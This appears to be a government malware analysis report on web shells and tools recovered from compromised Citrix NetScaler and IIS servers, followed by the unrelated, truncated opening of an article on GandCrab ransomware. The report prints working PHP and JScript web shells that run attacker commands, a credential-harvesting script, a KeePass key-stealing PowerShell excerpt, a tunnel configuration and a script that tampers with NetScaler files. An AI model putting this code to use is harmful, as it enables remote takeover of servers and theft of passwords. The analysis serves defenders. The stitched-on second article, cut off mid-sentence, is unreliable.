aspnet_client_system_web_4_0_30319__vti_cnf_aspx extends System.Web.UI.Page implements System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler { private static var __initialized : boolean; private static var __fileDependencies : System.Object; public System.Diagnostics.DebuggerNonUserCodeAttribute() function aspnet_client_system_web_4_0_30319__vti_cnf_aspx() { var dependencies : System.String[]; System.Web.UI.Page(this).AppRelativeVirtualPath = "~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx"; if ((ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized == false)) { dependencies = new System.String[1]; dependencies[0] = "~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx"; ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__fileDependencies = this.GetWrappedFileDependencies(dependencies); ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized = true; } this.Server.ScriptTimeout = 30000000; } protected final function get Profile() : System.Web.Profile.DefaultProfile { return System.Web.Profile.DefaultProfile(this.Context.Profile); } protected override function get SupportAutoEvents() : boolean { return false; } protected final function get ApplicationInstance() : ASP.global_asax { return ASP.global_asax(this.Context.ApplicationInstance); } private final System.Diagnostics.DebuggerNonUserCodeAttribute() function __BuildControlTree(__ctrl : aspnet_client_system_web_4_0_30319__vti_cnf_aspx) { //@cc_on //@set @position(file="F:\\inetpub\\wwwroot\\\\aspnet_client\\system_web\\4_0_30319\\_vti_cnf.aspx";line=1) this.InitializeCulture(); //@set @position(end) __ctrl.SetRenderMethodDelegate(System.Web.UI.RenderMethod(this.__Render__control1)); } private final function __Render__control1(__w : System.Web.UI.HtmlTextWriter, parameterContainer : System.Web.UI.Control) { //@cc_on //@set @position(file="F:\\inetpub\\wwwroot\\\\aspnet_client\\system_web\\4_0_30319\\_vti_cnf.aspx";line=1) try { eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["[Redacted]"])), ((INeedEngine) this).GetEngine()); } //@set @position(end) } } } ``` Analysis indicates the password utilized to access this web shell was redacted. This implant will allow a remote operator to execute commands on a victim's system. ### Additional Findings - **Name:** App_Web_tcnma5bs.dll - **Size:** 13312 bytes - **Type:** PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows - **MD5:** 18f2cf11b940a62d63fd757e20564ec6 - **SHA1:** 6fbd38aff374974c59ccca7efd8e1a3205c69ce9 - **SHA256:** 99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc - **SHA512:** 190c3cb0a09ce111135d0a98d10922650c28eb895583d98b2015b67e71a2131f824863cb4402d7627648aa0660ad5eaab63ed7cae8a - **ssdeep:** 384:4PojaxtaTXMzS/X44tIItLzxqIj3tccsJY5Ohmqw/4JHuNkLpe+k:4PojaxyXM+/X44K2 - **Entropy:** 5.143850 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a Windows compiled .NET dynamic link library (DLL) file. It has been identified as a component of a malicious web shell. The DLL has been identified as a variant of the China Chopper web shell. This malicious DLL contains embedded malicious JavaScript code. A portion of the JavaScript code decompiled from this DLL is displayed below: ```javascript private void __Render__control1(HtmlTextWriter __w, Control parameterContainer) { // ISSUE: type reference // ISSUE: type reference // ISSUE: type reference Microsoft.JScript.StackFrame.PushStackFrameForMethod((object) this, new JSLocalField[3] { new JSLocalField(nameof (__w), __typeref (HtmlTextWriter), 0), new JSLocalField(nameof (parameterContainer), __typeref (Control), 1), new JSLocalField("e:6", __typeref (object), 2) }, ((INeedEngine) this).GetEngine()); try { object obj1; try { object[] localVars1 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars; localVars1[0] = (object) __w; localVars1[1] = (object) parameterContainer; object obj2; localVars1[2] = obj2; Eval.JScriptEvaluate((object) Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(this.Request["[Redacted]"])), ((INeedEngine) this).GetEngine()); object[] localVars2 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars; __w = (HtmlTextWriter) localVars2[0]; parameterContainer = (Control) localVars2[1]; obj1 = localVars2[2]; } catch (Exception ex) { VsaEngine engine = ((INeedEngine) this).GetEngine(); obj1 = Try.JScriptExceptionValue((object) ex, engine); } object[] localVars = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars; localVars[0] = (object) __w; localVars[1] = (object) parameterContainer; localVars[2] = obj1; } finally { ((INeedEngine) this).GetEngine().PopScriptObject(); } } ``` Analysis indicates the password utilized to access this web shell by the remote actor was redacted. This implant will allow a remote operator to execute commands on a victim's system. ### Additional Findings - **Name:** App_Web_tcnma5bs.pdb - **Size:** 24064 bytes - **Type:** MSVC program database ver 7.00, 512*47 bytes - **MD5:** 3be9b7030389ad5e106f169fbe7b7458 - **SHA1:** 224448b5840b71ca07c144d3f525b8971c17d4a7 - **SHA256:** 28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea - **SHA512:** bf8b7bc82be4803099cfe956edb2699c441705955e4d7e3822501940a8e572dafcf1906c797cea8551f3407059bad03c9196bd143203 - **ssdeep:** 384:ihIBU3Xo3Z3oTTi3aljxTi3aljKITi3aljs8Ti3aljUTi3aljBTi3alj1Ti3aljb:ihIBU4Zox1fLOx5H1bX0b6UW - **Entropy:** 3.924351 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a program database (PDB) file. This file correlates with the compilation of the application named "App_Web_tcnma5bs.dll" (99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc). Although this file cannot be executed, its presence may be considered an indicator of compromise. Strings of interest extracted from this PDB file are displayed below: ``` F:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx f:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config c:\windows\microsoft.net\framework64\v4.0.30319\config\web.config .ctor Global Code System System.Collections System.Text System.Web.UI System.Collections.Generic System.Text.RegularExpressions System.Xml.Linq System.Web.SessionState System.Web.Helpers System.Web.Routing System.Configuration System.Collections.Specialized System.Linq System.Web System.Web.DynamicData System.Web.Caching System.Web.Profile System.ComponentModel.DataAnnotations System.Web.UI.WebControls System.Web.Mvc.Ajax System.Web.Security System.Web.Mvc System.Web.UI.WebControls.WebParts System.Web.WebPages System.Web.Mvc.Html System.Web.UI.HtmlControls get_Profile ``` ### Additional Findings - **Name:** svchost.exe - **Size:** 10532864 bytes - **Type:** PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows - **MD5:** c8bc262d7126c3399baaec5bee89d542 - **SHA1:** c94a0f902b3b8cc4ca5e4cc9004ac9eaa4614699 - **SHA256:** 55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c - **SHA512:** cf7b89d9658e618cb4f590b13bd6a6e5abcba0cddca625c7aeaaafb5ef8821a7a60620b789de4abd5d4505ffe3e9c13ad3bf1173f21e17 - **ssdeep:** 196608:3YHvhq3/BuNnKkOeXtqugiGk9FPHxgc/uA63+w0IUX:kQBuVku1G+ - **Entropy:** 6.107183 ### Antivirus - K7: Riskware (0040eff71) - Sophos: App/FRProxy-A ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a compiled version of the open source utility named FRP. It is an administrative tool that allows a system inside a router or firewall to provide network access to systems/operators located outside of the victim's network. For example, the utility could be utilized to tunnel protocol connections from an inside system protected by a firewall and router to a system outside of the firewall perimeter. ### Additional Findings - **Name:** dllhost.dll - **Size:** 226 bytes - **Type:** ASCII text, with CRLF line terminators - **MD5:** 14df2e509b6ee8deb3ce6ba3b88e3de0 - **SHA1:** 80190bdddf70a79a1735136f81309219c937458d - **SHA256:** f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde - **SHA512:** 6a32f2715d554c11eb0a50e39540c9e68bbb387b8a3aa1dfe4604ce6ed22a075fae0c1b3dfd07468746f4d782b1bff203f9036acaff9d6b - **ssdeep:** 6:eBh3BnEWovv5O4WaundbHAVSVDOUqxTWi:enlcO4WhcSVHqxii - **Entropy:** 5.081345 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a configuration file that may be utilized with the FRP binary named "svchost.exe" (55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c). The contents of the configuration file are displayed below: ```ini [common] server_addr = [IP address] server_port = 443 tls_enable = true token = laksddflko986wq35029735 [Indy [SCCPV01] - RDP] type = tcp use_encryption = true local_ip = [IP address] local_port = 3389 remote_port = 0 ``` The protocol tunneled is RDP. ### Additional Findings - **Name:** kee.ps1 - **Size:** 357631 bytes - **Type:** awk or perl script, ASCII text, with very long lines - **MD5:** 3a83cad860a688e1f40683142280a67b - **SHA1:** d8ad2de372296501c3eb3aa0e053708eb3914113 - **SHA256:** 913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0 - **SHA512:** a7afad9c446e55e25ec6289595ebeba469df0ccbc1863c437acf64e63c13b497699804de5248664d5cb78c527ffb9d1415c36a182d320 - **ssdeep:** 6144:SJU/ny0KiejKvsM7fz0QVd/eHuwF1U1zDtyftQQKasiaUKGY4RpmOHYqmqEqJ7jO:sIyCVjz0QpcU9QlTsZb - **Entropy:** 6.018326 ### Antivirus - BitDefender: Application.Hacktool.TJ - Cyren: Trojan.NBMZ-8 - ESET: MSIL/PSW.KeeThief.A trojan - Ikarus: Trojan.PowerShell.Pklotide ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a malicious PowerShell script. It is part of an open source application. The purpose of this script is to decrypt "KeePass" files in an attempt to extract password credentials stored on the victim's system. During runtime, this script decodes and utilizes the .NET executable named "KeeTheft.dll." A portion of the PowerShell script is displayed below: ```powershell #requires -version 2 function Get-KP { [CmdletBinding()] param ( [Parameter(Position = 0, ValueFromPipeline = $True)] [System.Diagnostics.Process[]] [ValidateNotNullOrEmpty()] $Process ) BEGIN { if(-not $PSBoundParameters['Process']) { try { $Process = Get-Process KeePass -ErrorAction Stop | Where-Object { $_.FileVersion -match '^2\.' } } catch { throw 'NO instances open!' } } $EncodedCompressedFile = 'tL0HfFzFET/+7' $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile), [IO.Compression.CompressionMode]::Decompress) $UncompressedFileBytes = New-Object Byte[](738304) $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes) } PROCESS { ForEach($KeePassProcess in $Process) { if($KeePassProcess.FileVersion -match '^2\.') { $WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)" $ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath Write-Verbose "Examining KeePass process $($KeePassProcess.ID) for master keys" $Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null, @([System.Diagnostics.Process]$KeePassProcess)) if($Keys) { ForEach($Key in $Keys) { ForEach($UserKey in $Key.UserKeys) { $KeyType = $UserKey.GetType().Name $UserKeyObject = New-Object PSObject $UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation $UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType $UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion $UserKeyObject | Add-Member Noteproperty 'ProcessID' $KeePassProcess.ID $UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath $UserKeyObject | Add-Member Noteproperty 'EncryptedBlobAddress' $UserKey.encryptedBlobAddress $UserKeyObject | Add-Member Noteproperty 'EncryptedBlob' $UserKey.encryptedBlob $UserKeyObject | Add-Member Noteproperty 'EncryptedBlobLen' $UserKey.encryptedBlobLen $UserKeyObject | Add-Member Noteproperty 'PlaintextBlob' $UserKey.plaintextBlob if($KeyType -eq 'KcpPassword') { $Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob) } else { $Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob) } $UserKeyObject | Add-Member Noteproperty 'Plaintext' $Plaintext if($KeyType -eq 'KcpUserAccount') { try { $WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)" $UserName = $WMIProcess.GetOwner().User $ProtectedUserKeyPath = Resolve-Path -Path "$($Env:WinDir | Split-Path -Qualifier)\Users\*$UserName*\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath } catch { Write-Warning "Error enumerating the owner of $($KeePassProcess.ID) : $_" } } else { $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath } $UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys') $UserKeyObject } } } else { Write-Verbose "No keys found for $($KeePassProcess.ID)" } } else { Write-Warning "Only KeePass 2.X is supported at this time." } } } } ``` ### Additional Findings - **Name:** KeeTheft.dll - **Size:** 738304 bytes - **Type:** PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows - **MD5:** dc8a91125f273090cd8d76e9e588a074 - **SHA1:** 3455ecca61a280a1056adb69077e0c652daa3516 - **SHA256:** 10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334 - **SHA512:** dc25e2ff93871edeb751e99cafe0717163817bfa85bd41c941c1c8b1b5ad2c63b9935060475b65dda69edce358f2759160ce94ad663c0 - **ssdeep:** 12288:NxOU+wucIYOW1ENXKUEHI7apPYEMMIjS3K9TodHNSIIcOECQ:NETcIYOWCNXKUEHI7apPYEMJ9TgHDpC - **Entropy:** 6.023616 ### Antivirus - Ahnlab: Trojan/Win32.Tiggre - Avira: TR/PSW.KeeThief.vmqvn - BitDefender: Gen:Variant.Ursu.299323 - ESET: a variant of MSIL/PSW.KeeThief.A trojan - Emsisoft: Gen:Variant.Ursu.299323 (B) - Ikarus: Trojan.MSIL.PSW - K7: Password-Stealer (005253fd1) - McAfee: GenericRXIL-CE!DC8A91125F27 - Microsoft Security Essentials: PWS:MSIL/KeeThief - Symantec: Trojan.Gen.MBT ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a Windows executable written in the .NET programming language. This binary has been identified as the KeyTheft application, which is part of an open source project. The primary purpose of this executable is to assist in the stealing of password credentials from the "KeePass Password Safe" utility software. Using this malware, an operator will be able to decrypt and extract passwords from a "KeePass" safe, allowing access to sensitive user accounts and the ability to pivot to the victim's user accounts outside of the victim's network. ### Additional Findings - **Name:** df5bd34799e200951fcce77c1c0b42af.php - **Size:** 585 bytes - **Type:** PHP script, ASCII text - **MD5:** b3b1dea400464ab5dd55e44766357957 - **SHA1:** 507a04d3faed99cee089da042913d63f1813fc2a - **SHA256:** 51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21 - **SHA512:** f7c21a4171942edd7e0d4ab7c0b3a3a1666a3dbbed14da6af4ae3c41c7607301c0c3bc83782e22c47fe40b5297a9c1374d645d04ce3b - **ssdeep:** 12:yDsNaficuJwHCaBzVBbgKOBUbC3c2vaveaXivglQEyKzbShL:4sCicuJwiaRVVeubCs+ieaXiY1HShL - **Entropy:** 5.136531 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a component of a malicious web shell. It contains two PHP code blocks. The first block extracts information from a dictionary data structure. Analysis indicates the script extracts provided file data, such as file name, file type, file size, and the files in a temporary location. The block then calls “move_uploaded_files.” This PHP block is presumably utilized by a web shell framework to allow a remote operator to move uploaded files to a new location on a compromised system. The code contained in the function “move_uploaded_file” was not available for analysis. The second PHP script block parses the variable $_GET for the value associated with the “cmd” key value. This value is then executed on the target system using the “system()” function. This PHP block is utilized by a web shell framework to allow a remote operator to remotely execute commands on a compromised system. Below is the (partial) code contained within this file: ```php if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "FILENAME: " . $_FILES["file"]["name"] . "<br>"; echo "FILETYPE: " . $_FILES["file"]["type"] . "<br>"; echo "FILESIZE: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "FILETEMPPATH: " . $_FILES["file"]["tmp_name"] . " <br>"; move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); } ?> <textarea name="textarea" cols="100" rows="25" readonly> <?php if (strlen($_GET["cmd"]) > 0) { system($_GET["cmd"]); } ``` ### Additional Findings - **Name:** df5bd34799e200951fcce77c1c0b42af_y.php - **Size:** 28 bytes - **Type:** PHP script, ASCII text - **MD5:** e11f9350ced37173d1e957ffe7d659b9 - **SHA1:** ec6d63fd5695c470bc3daea500b270eca85e81f4 - **SHA256:** 547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c - **SHA512:** ecd2ae19d5b3264821a1d88a265973b32724d2fc85b4225a23d4bc0c1aad6e8280a78de1f9024a19461a1c1b9209222eb51cb57f980 - **ssdeep:** 3:3/a4nL:ycL - **Entropy:** 4.521641 ### Antivirus - ESET: PHP/WebShell.NGI trojan - Microsoft Security Essentials: Backdoor:PHP/Dirtelti.MTG ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is part of a larger malicious web shell framework. It is designed to extract data contained within a Request object, Base64 decode the redacted parameter, and then execute this data on the compromised system. The data is executed using the "eval()" function, indicating it is expected to be a JavaScript payload. The (partial) JavaScript contained within this file is displayed below: ```javascript <%@ Page Language="Jscript"%><%try {eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["[Redacted]"])),"unsafe"); } catch(e) {}%> ``` ### Additional Findings - **Name:** df5bd34799e200951fcce77c1c0b42af_z.php - **Size:** 30 bytes - **Type:** PHP script, ASCII text - **MD5:** 8f9567ca566ab5f79081d5d17c79ee41 - **SHA1:** 01c3da91407c43d9edee751bbd2e30e081165fdc - **SHA256:** b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249 - **SHA512:** 45ba8f2dac9cf0982937feb42dd6a782e84a76fae84d8168d170e52908bc40033a7fab58395c4247093af3b3cb38532563aac00a15364 - **ssdeep:** 3:3/MJHo6:0JI6 - **Entropy:** 4.640224 ### Antivirus - Microsoft Security Essentials: Backdoor:PHP/Dirtelti.MTG ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a malicious PHP script. The PHP block contained within this script retrieves data from the “k0” key contained within the local "$_POST" variable and is immediately executed on the compromised system utilizing the “system()” function. This tiny script is utilized to allow an operator to remotely execute commands on a compromised system. The (partial) code contained within the script is displayed below: ```php php system($_POST["k0"]); ``` ### Additional Findings - **Name:** prev_sh - **Size:** 872 bytes - **Type:** Rich Text Format data, version 1, ANSI - **MD5:** ac07005f06ac63e5b1b0c1cd15a7a060 - **SHA1:** 74fe38fb9b63e3d1ff112567d770aef118a31195 - **SHA256:** 2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849 - **SHA512:** f2560ae09815a3011086ec1ecbdfb0102d1063dcb64a81cfb4f0d18307f0851c6f4738103024e172adb71f14982c5edcc88592f9e03f046 - **ssdeep:** 24:EnAWZJMOvOIBCotIYZa/UKt0K7uxuOv69p:EnAWZOkOm7tIYZa/UbjUkep - **Entropy:** 5.386700 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file contains bash shell scripting code. The shell script is displayed below: ```bash cd /netscaler/portal/scripts; for f in tips.pl themes.pl navthemes.pl rmbm.pl picktheme.pl newbm.pl savecolorprefs.pl subscription.pl PersonalBookmark.pl; do if [ -f $f ] && ! grep "/\\\\/\\\\\.\\\\\.\\\\// .*df5bd34799e200951fcce77c1c0b42af" $f; then sed -i .bk 's:use vars.*:use vars qw (%c); if($ENV{REQUEST_URI} =~ /\\/\\.\\.\\// \&\& $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/) { my $d="/netscaler/portal/templates"; opendir(D,$d); while(my $f=readdir(D)) { if($f =~ /.xml/i) { unlink("$d/$f"); } } closedir(D); exit 0; }:' $f; fi; done; rm -f *.b ``` Analysis indicates this shell script attempts to read the following system scripts contained on a victim's netscaler device and modify them if specific conditions are met within the scripts: - **Modified Perl Scripts:** - tips.pl - themes.pl - navthemes.pl - rmbm.pl - picktheme.pl - newbm.pl - savecolorprefs.pl - subscription.pl - PersonalBookmark.pl The malware searches the Perl scripts using an IF statement, which contains a REGEX rule ensuring the Perl script does not contain the string "df5bd34799e200951fcce77c1c0b42af." If the string is not present in the script, the malware will execute the following SED command which appends code to the system Perl scripts: ```bash sed -i .bk 's:use vars.*:use vars qw (%c); if($ENV{REQUEST_URI} =~ /\\/\\.\\.\\// \&\& $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/) { my $d="/netscaler/portal/templates"; opendir(D,$d); while(my $f=readdir(D)) { if($f =~ /.xml/i) { unlink("$d/$f"); } } closedir(D); exit 0; }:' ``` Analysis of the code above indicates it will clear out all files in the "/netscaler/portal/templates" directory matching the regex rule “/.xml/i” if the system's "$ENV(REQUEST_URI)" variable does not contain the string "df5bd34799e200951fcce77c1c0b42af." This code modification appears to be utilized to ensure the systems "$ENV{REQUEST_URI}" variable continues to point to a web application with the file name containing the string "df5bd34799e200951fcce77c1c0b42af." This report contains the following web shell applications that contain the string "df5bd34799e200951fcce77c1c0b42af" in the file's name: - **Files:** - df5bd34799e200951fcce77c1c0b42af.php (51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21) - df5bd34799e200951fcce77c1c0b42af_y.php (547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c) - df5bd34799e200951fcce77c1c0b42af_z.php (b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249) These web shell applications provide an operator remote C2 access over a victim's system. ### Additional Findings - **Name:** tiny_webshell - **Size:** 402 bytes - **Type:** Rich Text Format data, version 1, ANSI - **MD5:** 82e6e545c9863ed9f0df1e78d2457d13 - **SHA1:** fdc411014e747715a2d6de93723865ac5134b600 - **SHA256:** b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a - **SHA512:** cbe7374679872f635564b6da357b806ffd11f86881ea9fe9286682a73e49b152b88b01c9f6c872fb3ac04044b5d2955c92b03793877e6 - **ssdeep:** 6:L4vrWK+dSQSm+BhYrJDeSykilDo5WZuXP7SX8R6H4cYzat7qq4+u13HfEW2A6xQ0:HKUSmsY+1AWZuDSXA6/YXF3M/Qq3 - **Entropy:** 5.136055 ### Antivirus - ESET: PHP/WebShell.NBV trojan - Microsoft Security Essentials: Backdoor:PHP/Chopper.C!dha ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file contains a small PHP script block that is designed to receive a web POST, extract and Base64 decode its contents, and then execute the data on the system. The code contained within this file is displayed below: ```php php @eval(base64_decode($_POST['citrix@[Redacted]']));?> ``` As illustrated within this data, the POST parameter utilized to deliver data to the script block is expected to be "citrix@[Redacted]." It is believed to be a Tiny web shell. ### Additional Findings - **Name:** content - **Size:** 5599 bytes - **Type:** PHP script, ASCII text - **MD5:** ce868f9ed3ebd9036456da37749ab7b9 - **SHA1:** 6099d6e21fd81c2fb85e9b157f64d2cad8fec310 - **SHA256:** 8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3 - **SHA512:** e69966437bb4c3a819a425c6d8197fe8b7a01d2396eaa9d8f88312834e85eba8bb53f36aceefe306cbc3affe6e843afc2a833d89f02a5e - **ssdeep:** 96:NqNB3EXRKYIkbu0J5vmkI0K1sZMHXN+XNyBa9M6XN2XN7Emf+qsTMUoPk4xe0tM9:O3EhFIcT+sKSZMdMyBCMQk7d5I4xptM - **Entropy:** 5.298102 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a modified copy of the open source web shell known as Chunky Tuna and provides a remote operator C2 capabilities over a compromised system. Below is some of the code extracted from this script: ```php $headers = getallheaders(); // if the header doesn't match the key if (array_key_exists('X-Pwd', $headers) && $headers['X-Pwd'] !== "Ddzq1Mg6rIJDCAj7ch78vl3ZEGcXnqKjs97gs5y") { _log("wrong pwd: "); die(); } // NOP, for setting cookies if (array_key_exists('X-Nop', $headers) && $headers["X-Nop"] === "1") { _log("[X-Nop] Request".print_r($headers,true)); return; } // determine operation type if (array_key_exists('X-Type', $headers)) { $opType = $headers["X-Type"]; } else { $opType = ""; } ``` ### Additional Findings - **Name:** content - **Size:** 365 bytes - **Type:** PHP script, ASCII text, with CRLF line terminators - **MD5:** 750b1bf7269ffc5860166efa8af6b34e - **SHA1:** f4d152a700d93703592dc3652ff7b52ef00b4f7e - **SHA256:** 3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c - **SHA512:** fcae4efb50a6e72363edfd822939ff9204ca2368963ad825e5c8b5a256255e93bc8f556cd91aa4629c53a117892e03d95aad9c4716ded - **ssdeep:** 6:99YpbSYDFYE9LO3b6bLAztLUJD/9RH80Ab6bLAztLUJOdLGX80Ab6bLAztLUJI5t:96RSurpOryLAztQ7H0WLAztzGX0WLAz/ - **Entropy:** 5.142417 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file contains a single PHP script block. The script is designed to listen for incoming HTTP GET connections. The script will extract data from the request and place it into a variable named "$username." The script will also extract data from the ‘p’ parameter and place it into a variable named "$password," which is then written into a file. This malicious web shell is designed to allow a remote operator to capture user credentials on a compromised NetScaler device. This file contains the following (partial) PHP script code: ```php php $username= $_GET['u']; $password= $_GET['p']; if ($username !="undefined") { file_put_contents("netscaler.1" , "Username:".$username.PHP_EOL ,FILE_APPEND); file_put_contents("netscaler.1" , "Password:".$password.PHP_EOL ,FILE_APPEND); file_put_contents("netscaler.1" , "-----------------------------------------------------".PHP_EOL ,FILE_APPEND); } ``` ### Additional Findings - **Name:** content - **Size:** 57 bytes - **Type:** PHP script, ASCII text, with no line terminators - **MD5:** fd6c1e1fbe93a6c1ae97da3ddc3a381f - **SHA1:** a5225159267538863f8625050de94d880d54d2d4 - **SHA256:** 4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756 - **SHA512:** ea392b3dd9c323ae5e41d68394a56bb13914e9311f2d98648c9b5560af3bb9f85b4ac4d5a947bce5658fa230b3902fb574e5247c6266 - **ssdeep:** 3:E1uWATR7cNT2xrXMnFNXC4/:EEW2A6xQnqO - **Entropy:** 4.922815 ### Antivirus - ESET: PHP/WebShell.NBV trojan - Microsoft Security Essentials: Backdoor:PHP/Dirtelti.MTF ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file contains a small PHP script block and has been identified as a malicious web shell. It is designed to accept a POST request and extract the parameter 'citrix@[Redacted].' This data will then be decoded using a function named "base64_decode." The data will then be executed via the "eval()" function, indicating the application expects this data to be additional PHP code. This web shell will allow a remote operator to execute additional PHP payloads on the system. This file contains the following (partial) PHP code: ```php php @eval(base64_decode($_POST['citrix@[Redacted]'])); ``` ## Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization. Configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unnecessarily. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops."
# GandCrab 101: All about the most widely distributed ransomware of the moment The ransomware known as GandCrab is, for the moment, the most prolific ransomware in circulation. In many ways, its operation is very similar to other ransomware, but its ransomware-as-a-service business model seems to have propelled it forward. GandCrab appeared just over a year ago, promoted on public websites but sold exclusively through the dark web. Independent security researcher David Montenegro was the first to come across it. At that time, it was being distributed by the RIG exploit kit, which was being used in a malvertising campaign, leveraging banner ad networks to deliver the malicious code to unsuspecting visitors to public websites. Since then, the ransomware has developed a large pool of customers, and an unfortunately large pool of victims as well. The authors have kept pace with a team of cryptography experts working for Europol and Bitdefender who have released several decryptor tools, and continue to release updated versions of the malware that bypass the decryptor features every time a new decryptor hits the street. The ransomware may owe some of its early success to its unique software licensing scheme, which the creators called Dashboard Essential and has become widely referred to as ransomware-as-a-service. For $100, neophyte ransomware crime lords could build a criminal fiefdom of up to 200 victims in a two-month period, working their way up to earning enough to afford more premium-rate services and features. In essence, the GandCrab creators provide a criminal franchise system. ## How do you get it? Initially delivered via RIG exploit kit, once licensees began using the ransomware, they chose whatever distribution method suited them best. By a month later, malicious spam began to appear with malicious office documents that, when opened, delivered GandCrab to victims. The malware itself uses a deviously clever fileless approach to execute itself and encrypt the victim’s files. A maldoc spawns 